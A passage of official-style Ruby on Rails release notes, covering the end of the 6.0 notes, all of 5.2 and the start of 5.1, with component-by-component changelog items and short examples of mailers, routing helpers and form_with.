Add the ability to filter out sensitive data in #inspect (Pull Request, Pull Request)

Change ActiveRecord::Base.configurations to return an object instead of a hash. (Pull Request)

Add database configuration to disable advisory locks. (Pull Request)

Update SQLite3 adapter alter_table method to restore foreign keys. (Pull Request)

Allow the :to_table option of remove_foreign_key to be invertible. (Pull Request)

Fix default value for MySQL time types with specified precision. (Pull Request)

Fix the touch option to behave consistently with Persistence#touch method. (Pull Request)

Raise an exception for duplicate column definitions in Migrations. (Pull Request)

Bump the minimum SQLite version to 3.8. (Pull Request)

Fix parent records to not get saved with duplicate children records. (Pull Request)

Ensure Associations::CollectionAssociation#size and Associations::CollectionAssociation#empty? use loaded association ids if present. (Pull Request)

Add support to preload associations of polymorphic associations when not all the records have the requested associations. (Commit)

Add touch_all method to ActiveRecord::Relation. (Pull Request)

Add ActiveRecord::Base.base_class? predicate. (Pull Request)

Add custom prefix/suffix options to ActiveRecord::Store.store_accessor. (Pull Request)

Add ActiveRecord::Base.create_or_find_by/! to deal with the SELECT/INSERT race condition in ActiveRecord::Base.find_or_create_by/! by leaning on unique constraints in the database. (Pull Request)

Add Relation#pick as short-hand for single-value plucks. (Pull Request)

9 Active Storage

Please refer to the Changelog for detailed changes.

9.1 Removals

9.2 Deprecations

Deprecate config.active_storage.queue in favor of config.active_storage.queues.analysis and config.active_storage.queues.purge. (Pull Request)

Deprecate ActiveStorage::Downloading in favor of ActiveStorage::Blob#open. (Commit)

Deprecate using mini_magick directly for generating image variants in favor of image_processing. (Commit)

Deprecate :combine_options in Active Storage's ImageProcessing transformer without replacement. (Commit)

9.3 Notable changes

Add support for generating BMP image variants. (Pull Request)

Add support for generating TIFF image variants. (Pull Request)

Add support for generating progressive JPEG image variants. (Pull Request)

Add ActiveStorage.routes_prefix for configuring the Active Storage generated routes. (Pull Request)

Generate a 404 Not Found response on ActiveStorage::DiskController#show when the requested file is missing from the disk service. (Pull Request)

Raise ActiveStorage::FileNotFoundError when the requested file is missing for ActiveStorage::Blob#download and ActiveStorage::Blob#open. (Pull Request)

Add a generic ActiveStorage::Error class that Active Storage exceptions inherit from. (Commit)

Persist uploaded files assigned to a record to storage when the record is saved instead of immediately. (Pull Request)

Optionally replace existing files instead of adding to them when assigning to a collection of attachments (as in @user.update!(images: [ … ])). Use config.active_storage.replace_on_assign_to_many to control this behavior. (Pull Request, Pull Request)

Add the ability to reflect on defined attachments using the existing Active Record reflection mechanism. (Pull Request)

Add ActiveStorage::Blob#open, which downloads a blob to a tempfile on disk and yields the tempfile. (Commit)

Support streaming downloads from Google Cloud Storage. Require version 1.11+ of the google-cloud-storage gem. (Pull Request)

Use the image_processing gem for Active Storage variants. This replaces using mini_magick directly. (Pull Request)

10 Active Model

Please refer to the Changelog for detailed changes.

10.1 Removals

10.2 Deprecations

10.3 Notable changes

Add a configuration option to customize format of the ActiveModel::Errors#full_message. (Pull Request)

Add support for configuring attribute name for has_secure_password. (Pull Request)

Add #slice! method to ActiveModel::Errors. (Pull Request)

Add ActiveModel::Errors#of_kind? to check presence of a specific error. (Pull Request)

Fix ActiveModel::Serializers::JSON#as_json method for timestamps. (Pull Request)

Fix numericality validator to still use value before type cast except Active Record. (Pull Request)

Fix numericality equality validation of BigDecimal and Float by casting to BigDecimal on both ends of the validation. (Pull Request)

Fix year value when casting a multiparameter time hash. (Pull Request)

Type cast falsy boolean symbols on boolean attribute as false. (Pull Request)

Return correct date while converting parameters in value_from_multiparameter_assignment for ActiveModel::Type::Date. (Pull Request)

Fall back to parent locale before falling back to the :errors namespace while fetching error translations. (Pull Request)

11 Active Support

Please refer to the Changelog for detailed changes.

11.1 Removals

Remove deprecated #acronym_regex method from Inflections. (Commit)

Remove deprecated Module#reachable? method. (Commit)

Remove Kernel#` without any replacement. (Pull Request)

11.2 Deprecations

Deprecate using negative integer arguments for String#first and String#last. (Pull Request)

Deprecate ActiveSupport::Multibyte::Unicode#downcase/upcase/swapcase in favor of String#downcase/upcase/swapcase. (Pull Request)

Deprecate ActiveSupport::Multibyte::Unicode#normalize and ActiveSupport::Multibyte::Chars#normalize in favor of String#unicode_normalize. (Pull Request)

Deprecate ActiveSupport::Multibyte::Chars.consumes? in favor of String#is_utf8?. (Pull Request)

Deprecate ActiveSupport::Multibyte::Unicode#pack_graphemes(array) and ActiveSupport::Multibyte::Unicode#unpack_graphemes(string) in favor of array.flatten.pack("U*") and string.scan(/\X/).map(&:codepoints), respectively. (Pull Request)

11.3 Notable changes

Add support for parallel testing. (Pull Request)

Make sure that String#strip_heredoc preserves frozen-ness of strings. (Pull Request)

Add String#truncate_bytes to truncate a string to a maximum bytesize without breaking multibyte characters or grapheme clusters. (Pull Request)

Add private option to delegate method in order to delegate to private methods. This option accepts true/false as the value. (Pull Request)

Add support for translations through I18n for ActiveSupport::Inflector#ordinal and ActiveSupport::Inflector#ordinalize. (Pull Request)

Add before? and after? methods to Date, DateTime, Time, and TimeWithZone. (Pull Request)

Fix bug where URI.unescape would fail with mixed Unicode/escaped character input. (Pull Request)

Fix bug where ActiveSupport::Cache would massively inflate the storage size when compression was enabled. (Pull Request)

Redis cache store: delete_matched no longer blocks the Redis server. (Pull Request)

Fix bug where ActiveSupport::TimeZone.all would fail when tzinfo data for any timezone defined in ActiveSupport::TimeZone::MAPPING was missing. (Pull Request)

Add Enumerable#index_with which allows creating a hash from an enumerable with the value from a passed block or a default argument. (Pull Request)

Allow Range#=== and Range#cover? methods to work with Range argument. (Pull Request)

Support key expiry in increment/decrement operations of RedisCacheStore. (Pull Request)

Add cpu time, idle time, and allocations features to log subscriber events. (Pull Request)

Add support for event object to the Active Support notification system. (Pull Request)

Add support for not caching nil entries by introducing new option skip_nil for ActiveSupport::Cache#fetch. (Pull Request)

Add Array#extract! method which removes and returns the elements for which block returns a true value. (Pull Request)

Keep an HTML-safe string HTML-safe after slicing. (Pull Request)

Add support for tracing constant autoloads via logging. (Commit)

Define unfreeze_time as an alias of travel_back. (Pull Request)

Change ActiveSupport::TaggedLogging.new to return a new logger instance instead of mutating the one received as argument. (Pull Request)

Treat #delete_prefix, #delete_suffix and #unicode_normalize methods as non HTML-safe methods. (Pull Request)

Fix bug where #without for ActiveSupport::HashWithIndifferentAccess would fail with symbol arguments. (Pull Request)

Rename Module#parent, Module#parents, and Module#parent_name to module_parent, module_parents, and module_parent_name. (Pull Request)

Add ActiveSupport::ParameterFilter. (Pull Request)

Fix issue where duration was being rounded to a full second when a float was added to the duration. (Pull Request)

Make #to_options an alias for #symbolize_keys in ActiveSupport::HashWithIndifferentAccess. (Pull Request)

Don't raise an exception anymore if the same block is included multiple times for a Concern. (Pull Request)

Preserve key order passed to ActiveSupport::CacheStore#fetch_multi. (Pull Request)

Fix String#safe_constantize to not throw a LoadError for incorrectly cased constant references. (Pull Request)

Add Hash#deep_transform_values and Hash#deep_transform_values!. (Commit)

Add ActiveSupport::HashWithIndifferentAccess#assoc. (Pull Request)

Add before_reset callback to CurrentAttributes and define after_reset as an alias of resets for symmetry. (Pull Request)

Revise ActiveSupport::Notifications.unsubscribe to correctly handle Regex or other multiple-pattern subscribers. (Pull Request)

Add new autoloading mechanism using Zeitwerk. (Commit)

Add Array#including and Enumerable#including to conveniently enlarge a collection. (Commit)

Rename Array#without and Enumerable#without to Array#excluding and Enumerable#excluding. Old method names are retained as aliases. (Commit)

Add support for supplying locale to transliterate and parameterize. (Pull Request)

Fix Time#advance to work with dates before 1001-03-07. (Pull Request)

Update ActiveSupport::Notifications::Instrumenter#instrument to allow not passing block. (Pull Request)

Use weak references in descendants tracker to allow anonymous subclasses to be garbage collected. (Pull Request)

Calling test methods with with_info_handler method to allow minitest-hooks plugin to work. (Commit)

Preserve html_safe? status on ActiveSupport::SafeBuffer#*. (Pull Request)

12 Active Job

Please refer to the Changelog for detailed changes.

12.1 Removals

Remove support for Qu gem. (Pull Request)

12.2 Deprecations

12.3 Notable changes

Add support for custom serializers for Active Job arguments. (Pull Request)

Add support for executing Active Jobs in the timezone in which they were enqueued. (Pull Request)

Allow passing multiple exceptions to retry_on/discard_on. (Commit)

Allow calling assert_enqueued_with and assert_enqueued_email_with without a block. (Pull Request)

Wrap the notifications for enqueue and enqueue_at in the around_enqueue callback instead of after_enqueue callback. (Pull Request)

Allow calling perform_enqueued_jobs without a block. (Pull Request)

Allow calling assert_performed_with without a block. (Pull Request)

Add :queue option to job assertions and helpers. (Pull Request)

Add hooks to Active Job around retries and discards. (Pull Request)

Add a way to test for subset of arguments when performing jobs. (Pull Request)

Include deserialized arguments in jobs returned by Active Job test helpers. (Pull Request)

Allow Active Job assertion helpers to accept Proc for only keyword. (Pull Request)

Drop microseconds and nanoseconds from the job arguments in assertion helpers. (Pull Request)

13 Ruby on Rails Guides

Please refer to the Changelog for detailed changes.

13.1 Notable changes

Add Multiple Databases with Active Record guide. (Pull Request)

Add a section about troubleshooting of autoloading constants. (Commit)

Add Action Mailbox Basics guide. (Pull Request)

Add Action Text Overview guide. (Pull Request)

14 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 5.2 Release Notes

Highlights in Rails 5.2:

Active Storage

Redis Cache Store

HTTP/2 Early Hints

Credentials

Content Security Policy

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 5.2

Major Features

Active Storage

Redis Cache Store

HTTP/2 Early Hints

Credentials

Content Security Policy

Railties

Deprecations

Notable changes

Action Cable

Removals

Notable changes

Action Pack

Removals

Deprecations

Notable changes

Action View

Removals

Deprecations

Notable changes

Action Mailer

Notable changes

Active Record

Removals

Deprecations

Notable changes

Active Model

Notable changes

Active Support

Removals

Deprecations

Notable changes

Active Job

Notable changes

Ruby on Rails Guides

Notable changes

Credits

1 Upgrading to Rails 5.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.2. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Active Storage

Pull Request

Active Storage facilitates uploading files to a cloud storage service like Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching those files to Active Record objects. It comes with a local disk-based service for development and testing and supports mirroring files to subordinate services for backups and migrations. You can read more about Active Storage in the Active Storage Overview guide.

2.2 Redis Cache Store

Pull Request

Rails 5.2 ships with built-in Redis cache store. You can read more about this in the Caching with Rails: An Overview guide.

2.3 HTTP/2 Early Hints

Pull Request

Rails 5.2 supports HTTP/2 Early Hints. To start the server with Early Hints enabled pass --early-hints to bin/rails server.

2.4 Credentials

Pull Request

Added config/credentials.yml.enc file to store production app secrets. It allows saving any authentication credentials for third-party services directly in repository encrypted with a key in the config/master.key file or the RAILS_MASTER_KEY environment variable. This will eventually replace Rails.application.secrets and the encrypted secrets introduced in Rails 5.1. Furthermore, Rails 5.2 opens API underlying Credentials, so you can easily deal with other encrypted configurations, keys, and files. You can read more about this in the Securing Rails Applications guide.

2.5 Content Security Policy

Pull Request

Rails 5.2 ships with a new DSL that allows you to configure a Content Security Policy for your application. You can configure a global default policy and then override it on a per-resource basis and even use lambdas to inject per-request values into the header such as account subdomains in a multi-tenant application. You can read more about this in the Securing Rails Applications guide.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Deprecations

Deprecate capify! method in generators and templates. (Pull Request)

Passing the environment's name as a regular argument to the rails dbconsole and rails console commands is deprecated. The -e option should be used instead. (Commit)

Deprecate using subclass of Rails::Application to start the Rails server. (Pull Request)

Deprecate after_bundle callback in Rails plugin templates. (Pull Request)

3.2 Notable changes

Added a shared section to config/database.yml that will be loaded for all environments. (Pull Request)

Add railtie.rb to the plugin generator. (Pull Request)

Clear screenshot files in tmp:clear task. (Pull Request)

Skip unused components when running bin/rails app:update. If the initial app generation skipped Action Cable, Active Record, etc., the update task honors those skips too. (Pull Request)

Allow passing a custom connection name to the rails dbconsole command when using a 3-level database configuration. Example: bin/rails dbconsole -c replica. (Commit)

Properly expand shortcuts for environment's name running the console and dbconsole commands. (Commit)

Add bootsnap to default Gemfile. (Pull Request)

Support - as a platform-agnostic way to run a script from stdin with rails runner (Pull Request)

Add ruby x.x.x version to Gemfile and create .ruby-version root file containing the current Ruby version when new Rails applications are created. (Pull Request)

Add --skip-action-cable option to the plugin generator. (Pull Request)

Add git_source to Gemfile for plugin generator. (Pull Request)

Skip unused components when running bin/rails in Rails plugin. (Commit)

Optimize indentation for generator actions. (Pull Request)

Optimize routes indentation. (Pull Request)

Add --skip-yarn option to the plugin generator. (Pull Request)

Support multiple versions arguments for gem method of Generators. (Pull Request)

Derive secret_key_base from the app name in development and test environments. (Pull Request)

Add mini_magick to default Gemfile as comment. (Pull Request)

rails new and rails plugin new get Active Storage by default. Add ability to skip Active Storage with --skip-active-storage and do so automatically when --skip-active-record is used. (Pull Request)

4 Action Cable

Please refer to the Changelog for detailed changes.

4.1 Removals

Removed deprecated evented redis adapter. (Commit)

4.2 Notable changes

Add support for host, port, db and password options in cable.yml (Pull Request)

Hash long stream identifiers when using PostgreSQL adapter. (Pull Request)

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

Remove deprecated ActionController::ParamsParser::ParseError. (Commit)

5.2 Deprecations

Deprecate #success?, #missing? and #error? aliases of ActionDispatch::TestResponse. (Pull Request)

5.3 Notable changes

Add support for recyclable cache keys with fragment caching. (Pull Request)

Change the cache key format for fragments to make it easier to debug key churn. (Pull Request)

AEAD encrypted cookies and sessions with GCM. (Pull Request)

Protect from forgery by default. (Pull Request)

Enforce signed/encrypted cookie expiry server side. (Pull Request)

Cookies :expires option supports ActiveSupport::Duration object. (Pull Request)

Use Capybara registered :puma server config. (Pull Request)

Simplify cookies middleware with key rotation support. (Pull Request)

Add ability to enable Early Hints for HTTP/2. (Pull Request)

Add headless chrome support to System Tests. (Pull Request)

Add :allow_other_host option to redirect_back method. (Pull Request)

Make assert_recognizes to traverse mounted engines. (Pull Request)

Add DSL for configuring Content-Security-Policy header. (Pull Request, Commit, Commit)

Register most popular audio/video/font mime types supported by modern browsers. (Pull Request)

Changed the default system test screenshot output from inline to simple. (Commit)

Add headless firefox support to System Tests. (Pull Request)

Add secure X-Download-Options and X-Permitted-Cross-Domain-Policies to default headers set. (Commit)

Changed the system tests to set Puma as default server only when the user haven't specified manually another server. (Pull Request)

Add Referrer-Policy header to default headers set. (Commit)

Matches behavior of Hash#each in ActionController::Parameters#each. (Pull Request)

Add support for automatic nonce generation for Rails UJS. (Commit)

Update the default HSTS max-age value to 31536000 seconds (1 year) to meet the minimum max-age requirement for https://hstspreload.org/. (Commit)

Add alias method to_hash to to_h for cookies. Add alias method to_h to to_hash for session. (Commit)

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Removals

Remove deprecated Erubis ERB handler. (Commit)

6.2 Deprecations

Deprecate image_alt helper which used to add default alt text to the images generated by image_tag. (Pull Request)

6.3 Notable changes

Add :json type to auto_discovery_link_tag to support JSON Feeds. (Pull Request)

Add srcset option to image_tag helper. (Pull Request)

Fix issues with field_error_proc wrapping optgroup and select divider option. (Pull Request)

Change form_with to generate ids by default. (Commit)

Add preload_link_tag helper. (Pull Request)

Allow the use of callable objects as group methods for grouped selects. (Pull Request)

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Notable changes

Allow Action Mailer classes to configure their delivery job. (Pull Request)

Add assert_enqueued_email_with test helper. (Pull Request)

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

Remove deprecated #migration_keys. (Pull Request)

Remove deprecated support to quoted_id when typecasting an Active Record object. (Commit)

Remove deprecated argument default from index_name_exists?. (Commit)

Remove deprecated support to passing a class to :class_name on associations. (Commit)

Remove deprecated methods initialize_schema_migrations_table and initialize_internal_metadata_table. (Commit)

Remove deprecated method supports_migrations?. (Commit)

Remove deprecated method supports_primary_key?. (Commit)

Remove deprecated method ActiveRecord::Migrator.schema_migrations_table_name. (Commit)

Remove deprecated argument name from #indexes. (Commit)

Remove deprecated arguments from #verify!. (Commit)

Remove deprecated configuration .error_on_ignored_order_or_limit. (Commit)

Remove deprecated method #scope_chain. (Commit)

Remove deprecated method #sanitize_conditions. (Commit)

8.2 Deprecations

Deprecate supports_statement_cache?. (Pull Request)

Deprecate passing arguments and block at the same time to count and sum in ActiveRecord::Calculations. (Pull Request)

Deprecate delegating to arel in Relation. (Pull Request)

Deprecate set_state method in TransactionState. (Commit)

Deprecate expand_hash_conditions_for_aggregates without replacement. (Commit)

8.3 Notable changes

When calling the dynamic fixture accessor method with no arguments, it now returns all fixtures of this type. Previously this method always returned an empty array. (Pull Request)

Fix inconsistency with changed attributes when overriding Active Record attribute reader. (Pull Request)

Support Descending Indexes for MySQL. (Pull Request)

Fix bin/rails db:forward first migration. (Commit)

Raise error UnknownMigrationVersionError on the movement of migrations when the current migration does not exist. (Commit)

Respect SchemaDumper.ignore_tables in rake tasks for databases structure dump. (Pull Request)

Add ActiveRecord::Base#cache_version to support recyclable cache keys via the new versioned entries in ActiveSupport::Cache. This also means that ActiveRecord::Base#cache_key will now return a stable key that does not include a timestamp any more. (Pull Request)

Prevent creation of bind param if casted value is nil. (Pull Request)

Use bulk INSERT to insert fixtures for better performance. (Pull Request)

Merging two relations representing nested joins no longer transforms the joins of the merged relation into LEFT OUTER JOIN. (Pull Request)

Fix transactions to apply state to child transactions. Previously, if you had a nested transaction and the outer transaction was rolledback, the record from the inner transaction would still be marked as persisted. It was fixed by applying the state of the parent transaction to the child transaction when the parent transaction is rolledback. This will correctly mark records from the inner transaction as not persisted. (Commit)

Fix eager loading/preloading association with scope including joins. (Pull Request)

Prevent errors raised by sql.active_record notification subscribers from being converted into ActiveRecord::StatementInvalid exceptions. (Pull Request)

Skip query caching when working with batches of records (find_each, find_in_batches, in_batches). (Commit)

Change sqlite3 boolean serialization to use 1 and 0. SQLite natively recognizes 1 and 0 as true and false, but does not natively recognize 't' and 'f' as was previously serialized. (Pull Request)

Values constructed using multi-parameter assignment will now use the post-type-cast value for rendering in single-field form inputs. (Commit)

ApplicationRecord is no longer generated when generating models. If you need to generate it, it can be created with rails g application_record. (Pull Request)

Relation#or now accepts two relations who have different values for references only, as references can be implicitly called by where. (Commit)

When using Relation#or, extract the common conditions and put them before the OR condition. (Pull Request)

Add binary fixture helper method. (Pull Request)

Automatically guess the inverse associations for STI. (Pull Request)

Add new error class LockWaitTimeout which will be raised when lock wait timeout exceeded. (Pull Request)

Update payload names for sql.active_record instrumentation to be more descriptive. (Pull Request)

Use given algorithm while removing index from database. (Pull Request)

Passing a Set to Relation#where now behaves the same as passing an array. (Commit)

PostgreSQL tsrange now preserves subsecond precision. (Pull Request)

Raises when calling lock! in a dirty record. (Commit)

Fixed a bug where column orders for an index weren't written to db/schema.rb when using the sqlite adapter. (Pull Request)

Fix bin/rails db:migrate with specified VERSION. bin/rails db:migrate with empty VERSION behaves as without VERSION. Check a format of VERSION: Allow a migration version number or name of a migration file. Raise error if format of VERSION is invalid. Raise error if target migration doesn't exist. (Pull Request)

Add new error class StatementTimeout which will be raised when statement timeout exceeded. (Pull Request)

update_all will now pass its values to Type#cast before passing them to Type#serialize. This means that update_all(foo: 'true') will properly persist a boolean. (Commit)

Require raw SQL fragments to be explicitly marked when used in relation query methods. (Commit, Commit)

Add #up_only to database migrations for code that is only relevant when migrating up, e.g. populating a new column. (Pull Request)

Add new error class QueryCanceled which will be raised when canceling statement due to user request. (Pull Request)

Don't allow scopes to be defined which conflict with instance methods on Relation. (Pull Request)

Add support for PostgreSQL operator classes to add_index. (Pull Request)

Log database query callers. (Pull Request, Pull Request, Pull Request)

Undefine attribute methods on descendants when resetting column information. (Pull Request)

Using subselect for delete_all with limit or offset. (Commit)

Fixed inconsistency with first(n) when used with limit(). The first(n) finder now respects the limit(), making it consistent with relation.to_a.first(n), and also with the behavior of last(n). (Pull Request)

Fix nested has_many :through associations on unpersisted parent instances. (Commit)

Take into account association conditions when deleting through records. (Commit)

Don't allow destroyed object mutation after save or save! is called. (Commit)

Fix relation merger issue with left_outer_joins. (Pull Request)

Support for PostgreSQL foreign tables. (Pull Request)

Clear the transaction state when an Active Record object is duped. (Pull Request)

Fix not expanded problem when passing an Array object as argument to the where method using composed_of column. (Pull Request)

Make reflection.klass raise if polymorphic? not to be misused. (Commit)

Fix #columns_for_distinct of MySQL and PostgreSQL to make ActiveRecord::FinderMethods#limited_ids_for use correct primary key values even if ORDER BY columns include other table's primary key. (Commit)

Fix dependent: :destroy issue for has_one/belongs_to relationship where the parent class was getting deleted when the child was not. (Commit)

Idle database connections (previously just orphaned connections) are now periodically reaped by the connection pool reaper. (Commit)

9 Active Model

Please refer to the Changelog for detailed changes.

9.1 Notable changes

Fix methods #keys, #values in ActiveModel::Errors. Change #keys to only return the keys that don't have empty messages. Change #values to only return the not empty values. (Pull Request)

Add method #merge! for ActiveModel::Errors. (Pull Request)

Allow passing a Proc or Symbol to length validator options. (Pull Request)

Execute ConfirmationValidator validation when _confirmation's value is false. (Pull Request)

Models using the attributes API with a proc default can now be marshalled. (Commit)

Do not lose all multiple :includes with options in serialization. (Commit)

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

Remove deprecated :if and :unless string filter for callbacks. (Commit)

Remove deprecated halt_callback_chains_on_return_false option. (Commit)

10.2 Deprecations

Deprecate Module#reachable? method. (Pull Request)

Deprecate secrets.secret_token. (Commit)

10.3 Notable changes

Add fetch_values for HashWithIndifferentAccess. (Pull Request)

Add support for :offset to Time#change. (Commit)

Add support for :offset and :zone to ActiveSupport::TimeWithZone#change. (Commit)

Pass gem name and deprecation horizon to deprecation notifications. (Pull Request)

Add support for versioned cache entries. This enables the cache stores to recycle cache keys, greatly saving on storage in cases with frequent churn. Works together with the separation of #cache_key and #cache_version in Active Record and its use in Action Pack's fragment caching. (Pull Request)

Add ActiveSupport::CurrentAttributes to provide a thread-isolated attributes singleton. Primary use case is keeping all the per-request attributes easily available to the whole system. (Pull Request)

#singularize and #pluralize now respect uncountables for the specified locale. (Commit)

Add default option to class_attribute. (Pull Request)

Add Date#prev_occurring and Date#next_occurring to return specified next/previous occurring day of week. (Pull Request)

Add default option to module and class attribute accessors. (Pull Request)

Cache: write_multi. (Pull Request)

Default ActiveSupport::MessageEncryptor to use AES 256 GCM encryption. (Pull Request)

Add freeze_time helper which freezes time to Time.now in tests. (Pull Request)

Make the order of Hash#reverse_merge! consistent with HashWithIndifferentAccess. (Pull Request)

Add purpose and expiry support to ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor. (Pull Request)

Update String#camelize to provide feedback when wrong option is passed. (Pull Request)

Module#delegate_missing_to now raises DelegationError if target is nil, similar to Module#delegate. (Pull Request)

Add ActiveSupport::EncryptedFile and ActiveSupport::EncryptedConfiguration. (Pull Request)

Add config/credentials.yml.enc to store production app secrets. (Pull Request)

Add key rotation support to MessageEncryptor and MessageVerifier. (Pull Request)

Return an instance of HashWithIndifferentAccess from HashWithIndifferentAccess#transform_keys. (Pull Request)

Hash#slice now falls back to Ruby 2.5+'s built-in definition if defined. (Commit)

IO#to_json now returns the to_s representation, rather than attempting to convert to an array. This fixes a bug where IO#to_json would raise an IOError when called on an unreadable object. (Pull Request)

Add same method signature for Time#prev_day and Time#next_day in accordance with Date#prev_day, Date#next_day. Allows pass argument for Time#prev_day and Time#next_day. (Commit)

Add same method signature for Time#prev_month and Time#next_month in accordance with Date#prev_month, Date#next_month. Allows pass argument for Time#prev_month and Time#next_month. (Commit)

Add same method signature for Time#prev_year and Time#next_year in accordance with Date#prev_year, Date#next_year. Allows pass argument for Time#prev_year and Time#next_year. (Commit)

Fix acronym support in humanize. (Commit)

Allow Range#include? on TWZ ranges. (Pull Request)

Cache: Enable compression by default for values > 1kB. (Pull Request)

Redis cache store. (Pull Request, Pull Request)

Handle TZInfo::AmbiguousTime errors. (Pull Request)

MemCacheStore: Support expiring counters. (Commit)

Make ActiveSupport::TimeZone.all return only time zones that are in ActiveSupport::TimeZone::MAPPING. (Pull Request)

Changed default behaviour of ActiveSupport::SecurityUtils.secure_compare, to make it not leak length information even for variable length string. Renamed old ActiveSupport::SecurityUtils.secure_compare to fixed_length_secure_compare, and started raising ArgumentError in case of length mismatch of passed strings. (Pull Request)

Use SHA-1 to generate non-sensitive digests, such as the ETag header. (Pull Request, Pull Request)

assert_changes will always assert that the expression changes, regardless of from: and to: argument combinations. (Pull Request)

Add missing instrumentation for read_multi in ActiveSupport::Cache::Store. (Pull Request)

Support hash as first argument in assert_difference. This allows to specify multiple numeric differences in the same assertion. (Pull Request)

Caching: MemCache and Redis read_multi and fetch_multi speedup. Read from the local in-memory cache before consulting the backend. (Commit)

11 Active Job

Please refer to the Changelog for detailed changes.

11.1 Notable changes

Allow block to be passed to ActiveJob::Base.discard_on to allow custom handling of discard jobs. (Pull Request)

12 Ruby on Rails Guides

Please refer to the Changelog for detailed changes.

12.1 Notable changes

Add Threading and Code Execution in Rails Guide. (Pull Request)

Add Active Storage Overview Guide. (Pull Request)

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 5.1 Release Notes

Highlights in Rails 5.1:

Yarn Support

Optional Webpack support

jQuery no longer a default dependency

System tests

Encrypted secrets

Parameterized mailers

Direct & resolved routes

Unification of form_for and form_tag into form_with

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 5.1

Major Features

Yarn Support

Optional Webpack support

jQuery no longer a default dependency

System tests

Encrypted secrets

Parameterized mailers

Direct & resolved routes

Unification of form_for and form_tag into form_with

Incompatibilities

Transactional tests with multiple connections

Railties

Removals

Notable changes

Action Cable

Notable changes

Action Pack

Removals

Deprecations

Notable changes

Action View

Removals

Deprecations

Notable changes

Action Mailer

Notable changes

Active Record

Removals

Deprecations

Notable changes

Active Model

Removals

Notable changes

Active Job

Removals

Notable changes

Active Support

Removals

Deprecations

Notable changes

Credits

1 Upgrading to Rails 5.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.1. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Yarn Support

Pull Request

Rails 5.1 allows managing JavaScript dependencies from npm via Yarn. This will make it easy to use libraries like React, VueJS or any other library from npm world. The Yarn support is integrated with the asset pipeline so that all dependencies will work seamlessly with the Rails 5.1 app.

2.2 Optional Webpack support

Pull Request

Rails apps can integrate with Webpack, a JavaScript asset bundler, more easily using the new Webpacker gem. Use the --webpack flag when generating new applications to enable Webpack integration.

This is fully compatible with the asset pipeline, which you can continue to use for images, fonts, sounds, and other assets. You can even have some JavaScript code managed by the asset pipeline, and other code processed via Webpack. All of this is managed by Yarn, which is enabled by default.

2.3 jQuery no longer a default dependency

Pull Request

jQuery was required by default in earlier versions of Rails to provide features like data-remote, data-confirm and other parts of Rails' Unobtrusive JavaScript offerings. It is no longer required, as the UJS has been rewritten to use plain, vanilla JavaScript. This code now ships inside of Action View as rails-ujs.

You can still use jQuery if needed, but it is no longer required by default.

2.4 System tests

Pull Request

Rails 5.1 has baked-in support for writing Capybara tests, in the form of System tests. You no longer need to worry about configuring Capybara and database cleaning strategies for such tests. Rails 5.1 provides a wrapper for running tests in Chrome with additional features such as failure screenshots.

2.5 Encrypted secrets

Pull Request

Rails now allows management of application secrets in a secure way, inspired by the sekrets gem.

Run bin/rails secrets:setup to set up a new encrypted secrets file. This will also generate a master key, which must be stored outside of the repository. The secrets themselves can then be safely checked into the revision control system, in an encrypted form.

Secrets will be decrypted in production, using a key stored either in the RAILS_MASTER_KEY environment variable, or in a key file.

2.6 Parameterized mailers

Pull Request

Allows specifying common parameters used for all methods in a mailer class in order to share instance variables, headers, and other common setup.

  class InvitationsMailer < ApplicationMailer
  before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
  before_action { @account = params[:inviter].account }

  def account_invitation
    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
  end
end

  InvitationsMailer.with(inviter: person_a, invitee: person_b)
                 .account_invitation.deliver_later

2.7 Direct & resolved routes

Pull Request

Rails 5.1 adds two new methods, resolve and direct, to the routing DSL. The resolve method allows customizing polymorphic mapping of models.

  resource :basket

resolve("Basket") { [:basket] }

  <%= form_for @basket do |form| %>
  <!-- basket form -->
<% end %>

This will generate the singular URL /basket instead of the usual /baskets/:id.

The direct method allows creation of custom URL helpers.

  direct(:homepage) { "https://rubyonrails.org" }

homepage_url # => "https://rubyonrails.org"

The return value of the block must be a valid argument for the url_for method. So, you can pass a valid string URL, Hash, Array, an Active Model instance, or an Active Model class.

  direct :commentable do |model|
  [ model, anchor: model.dom_id ]
end

direct :main do
  { controller: 'pages', action: 'index', subdomain: 'www' }
end

2.8 Unification of form_for and form_tag into form_with

Pull Request

Before Rails 5.1, there were two interfaces for handling HTML forms: form_for for model instances and form_tag for custom URLs.

Rails 5.1 combines both of these interfaces with form_with, and can generate form tags based on URLs, scopes, or models.

Using just a URL:

  <%= form_with url: posts_path do |form| %>
  <%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
  <input type="text" name="title">
</form>

Adding a scope prefixes the input field names:

  <%= form_with scope: :post, url: posts_path do |form| %>
  <%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
  <input type="text" name="post[title]">
</form>

Using a model infers both the URL and scope:

  <%= form_with model: Post.new do |form| %>
  <%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts" method="post" data-remote="true">
